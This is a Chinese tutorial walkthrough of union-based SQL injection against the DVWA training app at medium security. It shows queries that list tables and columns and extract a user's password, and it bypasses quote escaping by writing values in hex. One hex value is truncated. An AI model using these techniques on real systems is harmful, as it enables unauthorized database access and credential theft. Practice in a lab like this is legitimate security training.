目录
前期准备
进入DVWA1.9,将安全防御设置为中等,进入SQL注入模拟
表单可以GET也可以POST提交,但是网址栏没有变化,可得其为POST提交
可以明显的看出来此页面为POST提交
利用Burp来实现代理,在其上进行SQL注入
步骤如下
- 判断提交方式
- 判断闭合符
- 判断输入列宽度
- 利用联合查询,查找想要的数据
经判断,此页面为POST提交,因为更改表单元素时,地址栏没有变化,闭合符为整形,输出列宽度为2
接下来进行爆破数据
爆库
select database(),version();
注入演示
后台查询验证:
爆表
select table_name from information_schema.tables where table_schema='dvwa' limit 0,1;
注入演示
其内部的防御机制,将注入的单引号转义且进行了清洗破坏,导致页面打不开
查看网页的PHP源码,可得由于选择了中等安全等级,所以页面的提交方式时POST,且由于mySQL语句中的id前后有反斜杠的保护
解决:
将dvwa转成16进制,然后进行注入dvw的16进制为64767761,可见页面显示正常,即dvwa库的表名为guesbook uses,根据此方法查看dvwa库的所有表
或者将dvwa改成database()函数
二者结果一样,但是原理不一样,第一个用的是转码的技术,第二个用的时变量传值的技术
select table_name from information_schema.tables where table_schema=0x64767761 limit 0,1;
select table_name from information_schema.tables where table_schema=database() limit 0,1;
查看后台数据库,可见,其表名就是查询出来的
爆列
select column_name from information_schema.columns where table_schema=database() and table_name=0x75736;
注入演示
查看后台数据库,可见与注入所得的结果相同
爆数据
select password from users where first_name='Gordon';
select password from users where first_name=0x476f72646f6e;
注入演示
都知道了表名,列名,数据就直接爆破了(注意单引号被转义了,所以需要用16进制替代之)
查看后台数据库,可见与注入所得的结果相同